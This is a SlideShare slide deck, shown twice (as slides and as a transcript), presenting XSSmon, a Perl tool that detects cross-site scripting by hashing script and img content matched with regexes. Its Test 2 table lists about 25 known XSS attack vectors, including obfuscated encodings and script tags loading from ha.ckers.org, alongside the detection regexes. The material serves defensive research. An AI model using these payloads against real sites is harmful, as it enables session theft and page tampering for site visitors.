SlideShare une entreprise Scribd logo
1  sur  19
Télécharger pour lire hors ligne
XSSmon: A Perl
Based IDS for the
Detection of
Potential XSS
Attacks
Christopher M. Frenz
Cross Site Scripting
 Cross  Site Scripting (XSS) entails the
  injection of a malicious script into a Web
  site so that when a future user accesses
  the Web site, the script is executed by the
  browser of the client machine
 In OWASP’s 2010 survey of the 10 greatest
  application security risks, injection attacks
  were ranked #1 and XSS attacks were
  ranked as #2
Common XSS Defenses
   Escaping
     Converting < to &lt to render content contained
      in <script></script> tags non-executable
   Validation
     Whitelisting
        (s?(?d{3})?[-s.]?d{3}[-.]d{4})
     Blacklisting
        ((%3C)|<).*?((%3E)|>)
Project Goal
 Thisstudy does not seek to build on the
  existing methods of XSS prevention and
  mitigation, but rather seeks to take
  advantage of the ability of regular
  expressions to detect XSS elements as a
  means of developing a XSS intrusion
  detection system, in order to allow the
  detection of any breached XSS defenses.
Hashes
 One way
 cryptographic
 function in which
 each input should
 yield a unique
 output
Hash Examples
#!usr/bin/perl

use Digest::SHA1 qw(sha1
sha1_hex sha1_base64);

$digest =
sha1_hex('password');
print "$digestnn";
$digest =
sha1_hex('pas$word');
print "$digestnn";
$digest =
sha1_hex('passw0rd');
print "$digestnn";
Tripwire
   Tripwire works by having the application user
    select critical system files and computing a hash of
    those system files to establish a baseline
   At some future point in time, the hashes of those
    selected files can be recomputed
   If the file was not modified in any way the hash
    value that pertains to the file will remain
    unchanged
   If a recomputed hash value is found to differ from
    the baseline value, it is indicative that the file has
    in some way been modified, which could be
    indicative of a potential attack on the system
XSSmon IDS
   This XSS IDS is a variation of the theme laid forth in
    tripwire in that it seeks to use regular expressions to
    identify all of the possible client side executable
    content in a Web page
       Script Regex
           ((<|%3C)(s|%73|%53)(c|%63|%43)(r|%72%5
            2)(i|%69|%49)(p|%70|%50)(t|%74%54).*?(<|
            %3C)(/|%2F)(s|%73|%53)(c|%63|%43)(r|%72
            %52)(i|%69|%49)(p|%70|%50)(t|%74%54)(>|
            %3E))
       Img Regex
           ((<|%3C)(i|%69|%49)(m|%6D|%4D)(g|%67|
            %47).*?(>|%3E))
XSSmon Methods
   It is the intention of this application to only recognize
    potentially executable content, so that “harmless”
    content, such as plain non-executable text enclosed
    in <p> tags and the like, do not trigger the system
    every time they are added to a page
   The IDS can be presented with a list of Web page
    links to monitor, and will use the regular expressions to
    globally match all of the content encapsulated in a
    <script> or <img> tags
   All of this content is then concatenated together into
    a string that contains all the content recognized as
    potentially executable and the string passed through
    a SHA1 hash.
HTML Page with Executable
Content                Potentially
                            executable
                            content is
                            extracted and
                            used as input
                            to SHA-1 hash

                            At a later
                            point in time
                            the content
                            will be re-
                            extracted and
                            put through
                            the hash
                            function again
Test #1
   To test the efficacy of the IDS system, three
    identical Web pages (XSSTest, XSSTest2, XSSTest3)
    are initially created that contain a mixture of
    standard HTML tags and a simple JavaScript that
    displays the current date in the browser window
   These html pages are then uploaded to Apache
    Web server and the corresponding links input into
    the XSS IDS program
   The XSS IDS baseline module is then used to
    compute the SHA1 hash values of the executable
    content in the Web page present at each link
Test1: Initial Hash Values
                             The three
                             identical
                             Web pages
                             yield
                             identical
                             hash values
Test 1 Continued
   The 3 HTML files will be modified as follows:
       the XSSTest.html file will have additional
        executable content added to it
       the XSSTest2.html file will have additional html
        content added to it, but no additional client side
        executable content added
       XSSTest3.html will remain unmodified as a control
   After the files are modified (as above) the module
    of the XSS IDS application that recomputes the
    hashes and performs comparisons to the values
    stored in the database will be executed
Test 1 Results
Test 1 Conclusions
   The Web page with additional executable
    content was detected
   Those without additional executable content
    did not trigger the IDS
   This would make the IDS useful for any type of
    Web forum or Web site that allows the posting
    of comments or other user content, since the
    IDS would not trigger false alarms for every
    addition to a Web page; only additions that
    match the potentially executable content
    patterns laid forth in the applications regular
    expressions
Test 2
 The  IDS was then further tested by
  determining how well it picks up a large
  variety of XSS attack vectors
 Each of these attack vectors was inserted
  into an html Web page whose baseline
  value had been previously computed
 After the insertion, the hashes were
  recomputed and compared to the
  baseline values
Det
                                                   XSS Attack Vector                                             ecte
                                                                                                                  d
                                   <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>                              Yes
                                          <IMG SRC="javascript:alert('XSS');">                                   Yes
                                           <img SRC=javascript:alert('jXSS')>                                    Yes
                                           <IMG SRC=JaVaScRiPt:alert('XSS')>                                     Yes
                                     <IMG SRC=javascript:alert(&quot;XSS&quot;)>                                 Yes
                                   <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>                            Yes
                                      <IMG """><SCRIPT>alert("XSS")</SCRIPT>">                                   Yes

                              <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>                          Yes


                                                    <IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;   Yes
                                            &#83;&#83;&#39;&#41;>

                                                  <IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058
                                                                                                                 Yes
&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#00
                                                 00041>

                                                 <IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x5          Yes
                                           3&#x53&#x27&#x29>

                                          <IMG SRC="jav ascript:alert('XSS');">                                  Yes
                                      <IMG SRC="jav&#x09;ascript:alert('XSS');">                                 Yes
                                      <IMG SRC="jav&#x0A;ascript:alert('XSS');">                                 Yes
                                      <IMG SRC="jav&#x0D;ascript:alert('XSS');">                                 Yes
                           <IMG SRC="javascript:alert('XSS');"> - Each character on a new line                   Yes
                              perl -e 'print "<IMG SRC=java0script:alert("XSS")>";' > out                     Yes
                              perl -e 'print "<SCR0IPT>alert("XSS")</SCR0IPT>";' > out                       No
                                      <IMG SRC=" &#14; javascript:alert('XSS');">                                Yes
                                <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>                           Yes
                                  <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>                             Yes
                                          <<SCRIPT>alert("XSS");//<</SCRIPT>                                     Yes
                                      <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
                                            <SCRIPT SRC=//ha.ckers.org/.j>                                       Yes
                                           <IMG SRC="javascript:alert('XSS')"                                    Yes
                                                    <SCRIPT>a=/XSS/
                                                                                                                 Yes
                                                alert(a.source)</SCRIPT>
                                        </TITLE><SCRIPT>alert("XSS");</SCRIPT>                                   Yes
Test 2 Conclusions
 Inall but one case the hash values for the
  html pages changed, demonstrating the
  efficacy of the IDS against detecting XSS
  attacks
 The one XSS attack vector that went
  undetected contained a null character
  (0) in the script tag which made the tag
  unrecognizable to the IDS
Overall Conclusion
   While the XSS IDS presented in this manuscript is still at a
    stage where much more rigorous testing needs to be
    applied to it to see how well it detects XSS attacks
    against the breadth of all possible XSS attacks on a
    diversity of different Web pages, the proof of concept
    presented here is strongly suggestive that the creation
    of a XSS IDS is entirely feasible. Moreover, a robust XSS
    IDS would an excellent tool for Web application security,
    because no matter how securely written a piece of
    software bugs will still exist in it. An IDS such as this can
    help to mitigate the potential damage that could be
    unleashed by a bit of malicious XSS code slipping the a
    Web application’s input validation and escaping
    defenses by providing an early warning that such a
    condition exists.

Contenu connexe

Tendances

Web Security Horror Stories
Web Security Horror StoriesWeb Security Horror Stories
Web Security Horror StoriesSimon Willison
 
Developing api with rails metal
Developing api with rails metalDeveloping api with rails metal
Developing api with rails metalZack Siri
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Jim Manico
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Securitylevigross
 
IRJET- Login System for Web: Session Management using BCRYPTJS
IRJET- Login System for Web: Session Management using BCRYPTJSIRJET- Login System for Web: Session Management using BCRYPTJS
IRJET- Login System for Web: Session Management using BCRYPTJSIRJET Journal
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsSimon Willison
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kimjaxconf
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Jim Manico
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web AppsFrank Kim
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirtyAndy Dai
 
Steps to mitigate Top 5 OWASP Vulnerabilities 2013
Steps to mitigate Top 5 OWASP Vulnerabilities 2013Steps to mitigate Top 5 OWASP Vulnerabilities 2013
Steps to mitigate Top 5 OWASP Vulnerabilities 2013Jayasree Veliyath
 
Two scoops of Django - Security Best Practices
Two scoops of Django - Security Best PracticesTwo scoops of Django - Security Best Practices
Two scoops of Django - Security Best PracticesSpin Lai
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015CODE BLUE
 
Securing your MySQL server
Securing your MySQL serverSecuring your MySQL server
Securing your MySQL serverMarian Marinov
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
Honing headers for highly hardened highspeed hypertext
Honing headers for highly hardened highspeed hypertextHoning headers for highly hardened highspeed hypertext
Honing headers for highly hardened highspeed hypertextFastly
 

Tendances (20)

Web Security Horror Stories
Web Security Horror StoriesWeb Security Horror Stories
Web Security Horror Stories
 
Developing api with rails metal
Developing api with rails metalDeveloping api with rails metal
Developing api with rails metal
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
 
IRJET- Login System for Web: Session Management using BCRYPTJS
IRJET- Login System for Web: Session Management using BCRYPTJSIRJET- Login System for Web: Session Management using BCRYPTJS
IRJET- Login System for Web: Session Management using BCRYPTJS
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kim
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirty
 
Steps to mitigate Top 5 OWASP Vulnerabilities 2013
Steps to mitigate Top 5 OWASP Vulnerabilities 2013Steps to mitigate Top 5 OWASP Vulnerabilities 2013
Steps to mitigate Top 5 OWASP Vulnerabilities 2013
 
Two scoops of Django - Security Best Practices
Two scoops of Django - Security Best PracticesTwo scoops of Django - Security Best Practices
Two scoops of Django - Security Best Practices
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Sql Injection
Sql InjectionSql Injection
Sql Injection
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
 
Securing your MySQL server
Securing your MySQL serverSecuring your MySQL server
Securing your MySQL server
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Honing headers for highly hardened highspeed hypertext
Honing headers for highly hardened highspeed hypertextHoning headers for highly hardened highspeed hypertext
Honing headers for highly hardened highspeed hypertext
 

Similaire à XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks

ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
 
Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...
Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...
Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...Codemotion
 
XSS Defeating Trick ~=ABK=~ WhitePaper
XSS Defeating Trick ~=ABK=~ WhitePaperXSS Defeating Trick ~=ABK=~ WhitePaper
XSS Defeating Trick ~=ABK=~ WhitePaperAbhishek Kumar
 
Webpack packing it all
Webpack packing it allWebpack packing it all
Webpack packing it allCriciúma Dev
 
Packing it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to nowPacking it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to nowDerek Willian Stavis
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xssappsec
 
Top Ten Web Defenses - DefCamp 2012
Top Ten Web Defenses  - DefCamp 2012Top Ten Web Defenses  - DefCamp 2012
Top Ten Web Defenses - DefCamp 2012DefCamp
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoAditya K Sood
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Avi Aryan
 
VodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkadVodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkadvodQA
 
Xss mitigation php [Repaired]
Xss mitigation php [Repaired]Xss mitigation php [Repaired]
Xss mitigation php [Repaired]Tinashe Makuti
 
Javascript viva questions
Javascript viva questionsJavascript viva questions
Javascript viva questionsVipul Naik
 
OWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
OWASP ESAPI and Microsoft Web Libraries in Cross-Site ScriptingOWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
OWASP ESAPI and Microsoft Web Libraries in Cross-Site ScriptingDenim Group
 

Similaire à XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks (20)

ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applications
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
XSS - Attacks & Defense
XSS - Attacks & DefenseXSS - Attacks & Defense
XSS - Attacks & Defense
 
Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...
Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...
Massimo Artizzu - The tricks of Houdini: a magic wand for the future of CSS -...
 
XSS Defeating Trick ~=ABK=~ WhitePaper
XSS Defeating Trick ~=ABK=~ WhitePaperXSS Defeating Trick ~=ABK=~ WhitePaper
XSS Defeating Trick ~=ABK=~ WhitePaper
 
Webpack packing it all
Webpack packing it allWebpack packing it all
Webpack packing it all
 
Packing it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to nowPacking it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to now
 
Ultimate xss
Ultimate xssUltimate xss
Ultimate xss
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
 
Client side
Client sideClient side
Client side
 
Top Ten Web Defenses - DefCamp 2012
Top Ten Web Defenses  - DefCamp 2012Top Ten Web Defenses  - DefCamp 2012
Top Ten Web Defenses - DefCamp 2012
 
RSA Conference 2010 San Francisco
RSA Conference 2010 San FranciscoRSA Conference 2010 San Francisco
RSA Conference 2010 San Francisco
 
Rails and security
Rails and securityRails and security
Rails and security
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
VodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkadVodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkad
 
Xss mitigation php [Repaired]
Xss mitigation php [Repaired]Xss mitigation php [Repaired]
Xss mitigation php [Repaired]
 
mjs
mjsmjs
mjs
 
Javascript viva questions
Javascript viva questionsJavascript viva questions
Javascript viva questions
 
OWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
OWASP ESAPI and Microsoft Web Libraries in Cross-Site ScriptingOWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
OWASP ESAPI and Microsoft Web Libraries in Cross-Site Scripting
 

XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks

  • 1. XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks Christopher M. Frenz
  • 2. Cross Site Scripting  Cross Site Scripting (XSS) entails the injection of a malicious script into a Web site so that when a future user accesses the Web site, the script is executed by the browser of the client machine  In OWASP’s 2010 survey of the 10 greatest application security risks, injection attacks were ranked #1 and XSS attacks were ranked as #2
  • 3. Common XSS Defenses  Escaping  Converting < to &lt to render content contained in <script></script> tags non-executable  Validation  Whitelisting  (s?(?d{3})?[-s.]?d{3}[-.]d{4})  Blacklisting  ((%3C)|<).*?((%3E)|>)
  • 4. Project Goal  Thisstudy does not seek to build on the existing methods of XSS prevention and mitigation, but rather seeks to take advantage of the ability of regular expressions to detect XSS elements as a means of developing a XSS intrusion detection system, in order to allow the detection of any breached XSS defenses.
  • 5. Hashes  One way cryptographic function in which each input should yield a unique output
  • 6. Hash Examples #!usr/bin/perl use Digest::SHA1 qw(sha1 sha1_hex sha1_base64); $digest = sha1_hex('password'); print "$digestnn"; $digest = sha1_hex('pas$word'); print "$digestnn"; $digest = sha1_hex('passw0rd'); print "$digestnn";
  • 7. Tripwire  Tripwire works by having the application user select critical system files and computing a hash of those system files to establish a baseline  At some future point in time, the hashes of those selected files can be recomputed  If the file was not modified in any way the hash value that pertains to the file will remain unchanged  If a recomputed hash value is found to differ from the baseline value, it is indicative that the file has in some way been modified, which could be indicative of a potential attack on the system
  • 8. XSSmon IDS  This XSS IDS is a variation of the theme laid forth in tripwire in that it seeks to use regular expressions to identify all of the possible client side executable content in a Web page  Script Regex  ((<|%3C)(s|%73|%53)(c|%63|%43)(r|%72%5 2)(i|%69|%49)(p|%70|%50)(t|%74%54).*?(<| %3C)(/|%2F)(s|%73|%53)(c|%63|%43)(r|%72 %52)(i|%69|%49)(p|%70|%50)(t|%74%54)(>| %3E))  Img Regex  ((<|%3C)(i|%69|%49)(m|%6D|%4D)(g|%67| %47).*?(>|%3E))
  • 9. XSSmon Methods  It is the intention of this application to only recognize potentially executable content, so that “harmless” content, such as plain non-executable text enclosed in <p> tags and the like, do not trigger the system every time they are added to a page  The IDS can be presented with a list of Web page links to monitor, and will use the regular expressions to globally match all of the content encapsulated in a <script> or <img> tags  All of this content is then concatenated together into a string that contains all the content recognized as potentially executable and the string passed through a SHA1 hash.
  • 10. HTML Page with Executable Content Potentially executable content is extracted and used as input to SHA-1 hash At a later point in time the content will be re- extracted and put through the hash function again
  • 11. Test #1  To test the efficacy of the IDS system, three identical Web pages (XSSTest, XSSTest2, XSSTest3) are initially created that contain a mixture of standard HTML tags and a simple JavaScript that displays the current date in the browser window  These html pages are then uploaded to Apache Web server and the corresponding links input into the XSS IDS program  The XSS IDS baseline module is then used to compute the SHA1 hash values of the executable content in the Web page present at each link
  • 12. Test1: Initial Hash Values The three identical Web pages yield identical hash values
  • 13. Test 1 Continued  The 3 HTML files will be modified as follows:  the XSSTest.html file will have additional executable content added to it  the XSSTest2.html file will have additional html content added to it, but no additional client side executable content added  XSSTest3.html will remain unmodified as a control  After the files are modified (as above) the module of the XSS IDS application that recomputes the hashes and performs comparisons to the values stored in the database will be executed
  • 15. Test 1 Conclusions  The Web page with additional executable content was detected  Those without additional executable content did not trigger the IDS  This would make the IDS useful for any type of Web forum or Web site that allows the posting of comments or other user content, since the IDS would not trigger false alarms for every addition to a Web page; only additions that match the potentially executable content patterns laid forth in the applications regular expressions
  • 16. Test 2  The IDS was then further tested by determining how well it picks up a large variety of XSS attack vectors  Each of these attack vectors was inserted into an html Web page whose baseline value had been previously computed  After the insertion, the hashes were recomputed and compared to the baseline values
  • 17. Det XSS Attack Vector ecte d <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Yes <IMG SRC="javascript:alert('XSS');"> Yes <img SRC=javascript:alert('jXSS')> Yes <IMG SRC=JaVaScRiPt:alert('XSS')> Yes <IMG SRC=javascript:alert(&quot;XSS&quot;)> Yes <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> Yes <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> Yes <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> Yes <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88; Yes &#83;&#83;&#39;&#41;> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058 Yes &#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#00 00041> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x5 Yes 3&#x53&#x27&#x29> <IMG SRC="jav ascript:alert('XSS');"> Yes <IMG SRC="jav&#x09;ascript:alert('XSS');"> Yes <IMG SRC="jav&#x0A;ascript:alert('XSS');"> Yes <IMG SRC="jav&#x0D;ascript:alert('XSS');"> Yes <IMG SRC="javascript:alert('XSS');"> - Each character on a new line Yes perl -e 'print "<IMG SRC=java0script:alert("XSS")>";' > out Yes perl -e 'print "<SCR0IPT>alert("XSS")</SCR0IPT>";' > out No <IMG SRC=" &#14; javascript:alert('XSS');"> Yes <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Yes <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> Yes <<SCRIPT>alert("XSS");//<</SCRIPT> Yes <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> <SCRIPT SRC=//ha.ckers.org/.j> Yes <IMG SRC="javascript:alert('XSS')" Yes <SCRIPT>a=/XSS/ Yes alert(a.source)</SCRIPT> </TITLE><SCRIPT>alert("XSS");</SCRIPT> Yes
  • 18. Test 2 Conclusions  Inall but one case the hash values for the html pages changed, demonstrating the efficacy of the IDS against detecting XSS attacks  The one XSS attack vector that went undetected contained a null character (0) in the script tag which made the tag unrecognizable to the IDS
  • 19. Overall Conclusion  While the XSS IDS presented in this manuscript is still at a stage where much more rigorous testing needs to be applied to it to see how well it detects XSS attacks against the breadth of all possible XSS attacks on a diversity of different Web pages, the proof of concept presented here is strongly suggestive that the creation of a XSS IDS is entirely feasible. Moreover, a robust XSS IDS would an excellent tool for Web application security, because no matter how securely written a piece of software bugs will still exist in it. An IDS such as this can help to mitigate the potential damage that could be unleashed by a bit of malicious XSS code slipping the a Web application’s input validation and escaping defenses by providing an early warning that such a condition exists.